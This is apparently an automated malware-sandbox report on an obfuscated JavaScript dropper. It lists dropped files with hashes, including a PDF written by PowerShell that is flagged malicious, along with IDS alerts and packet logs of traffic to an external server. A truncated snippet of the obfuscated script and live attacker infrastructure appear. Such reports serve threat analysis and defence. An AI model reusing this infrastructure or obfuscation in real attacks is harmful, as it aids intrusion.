Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\5845878a-0915-420f-8c00-22e0f304e5fc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cdadc318-cf92-4a34-9f44-87d766fab977.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oywYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxywZGBGZn3mlind9i4ufFXpAXkru
MD5:	24E06DFF10D65D579F347CEE82FA6516
SHA1:	F990BFD3B186929BBA348D538B7FCC416574F976
SHA-256:	D8655F371DE8C6CFC8BA6E8AF34C7FE2779047444F3D13FBE7832123188B3FD7
SHA-512:	7A088092FB48DD99EA0C02AEB58829B443B8E63BEE945C1C45A3A8A777D1256ABE4BFF57E021264495003AC895BDBEC7C210B7BE8E20088F483A97B792A6E5A6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18236), with CRLF line terminators
Entropy (8bit):	4.8959673214462
TrID:
File name:	283532861321088537.js
File size:	21'699 bytes
MD5:	9252a519d608bd1b707ad4bcaf66bc14
SHA1:	2e738f5d606a3d0d66fc2e0a1227f3f6b01db930
SHA256:	0942ef70c29d79339951a9ca72454adc1e43baa20188d717f24c34861429a077
SHA512:	440e4e5d8389dc2b2f46d7c89105e9635791d40a307dbcd627317b84f04b1f1a051c9fe1fbd5b1635290c52c0deaf83d8a57b4b94c6e47499bb9c56ffe39fe07
SSDEEP:	384:TBo+qtN2rOpxmZK17u1veqxF41Gu/dvuUIcphHlWHe5KZ:VY2OpxiK17upeqxF+vucphHlW6KZ
TLSH:	3AA256C55163D0F61DEC5B716E9B12B4A29C4ACB0D9420AAD6053868AF047E7CCF29FD
File Content Preview:	function ebhiifa(){dxdkhjtnt=[1031,3079,5127,4103,2055,3072];var rccyr=this[popvzefq+mcefrpg+dfjiht+csjuxchw+sgyndyd+jzlpb+tughkrj+pjeopubt](this[ospwdfefq+qjpppzq+tefldddzl+dfjiht+ltcpkdoxi+popvzefq+pjeopubt][gsduormrd+dfjiht+sgyndyd+mcefrpg+pjeopubt+sgy

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T16:39:37.670385+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49762	193.143.1.205	80	TCP
2025-01-10T16:39:40.784267+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49783	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 16:39:36.862426043 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:36.867409945 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:36.867512941 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:36.870949984 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:36.877166986 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670259953 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670274019 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670284033 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670293093 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670384884 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.670384884 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.670464993 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670495033 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670504093 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670512915 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670525074 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670536041 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.670545101 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.670582056 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.675183058 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.675218105 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.675265074 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847218990 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847246885 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847269058 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847358942 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847381115 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847430944 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847444057 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847456932 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847475052 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847481966 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847489119 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847501040 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847511053 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847512960 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847522974 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847534895 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847543955 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847553015 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847564936 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847564936 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847577095 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847589970 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847601891 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847604990 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847615004 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847626925 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847628117 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847647905 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847651005 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847660065 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847671986 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847672939 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.847682953 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.847724915 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.848634958 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.852719069 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.852731943 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.852744102 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.852754116 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.852793932 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.852829933 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.898720026 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.898762941 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.898776054 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.898864985 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.906326056 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.906347036 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.906359911 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.906373024 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.906385899 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.906388044 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.906451941 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.906956911 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.906994104 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.907007933 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.907030106 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.907037020 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.907049894 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.907068014 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.907567024 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.907603979 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.907613993 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.907646894 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.907685995 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.907692909 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.907705069 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.907744884 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.908421993 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.908464909 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.908483982 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.908495903 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.908503056 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.908509970 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.908524990 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.909316063 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.909339905 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.909362078 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.909398079 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.909410000 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.909421921 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.909439087 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.909531116 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.910363913 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.910377026 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.910389900 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.910402060 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.910415888 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.910445929 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.910475016 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.911087990 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.911150932 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.911163092 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.911175013 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.911189079 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.911200047 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.911214113 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.911242008 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.911911011 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.911957979 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.911978006 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.911993027 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.912000895 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.912005901 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.912026882 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.953284979 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.953310013 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.953315020 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:37.953432083 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:37.984699011 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.017863989 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.017908096 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.017926931 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.017940998 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.017951965 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.017962933 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.018033981 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.025031090 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025042057 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025053978 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025105953 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025114059 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.025118113 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025130033 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025183916 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.025393963 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025444984 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025487900 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.025542974 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025554895 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025566101 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025593042 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.025599957 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025612116 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.025644064 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.025995016 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026005983 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026017904 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026063919 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026074886 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026086092 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026091099 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.026091099 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.026104927 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026118994 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026129007 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.026132107 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026161909 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.026181936 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.026802063 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026829958 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026843071 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026871920 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.026884079 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026896000 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026922941 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.026932001 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026946068 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026952982 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026959896 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.026977062 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.027004004 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.027769089 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.027780056 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.027791977 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.027806997 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.027817965 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.027827978 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.027842045 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.027856112 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.027858019 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.027867079 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.027879000 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.027890921 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.027894020 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.027918100 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.028681040 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.028693914 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.028712988 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.028723955 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.028734922 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.028736115 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.028747082 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.028762102 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.028773069 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.028785944 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.028786898 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.028796911 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.028817892 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.028851986 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.029746056 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.029757977 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.029768944 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.029781103 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.029793024 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.029803991 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.029804945 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.029817104 CET	80	49762	193.143.1.205	192.168.2.10
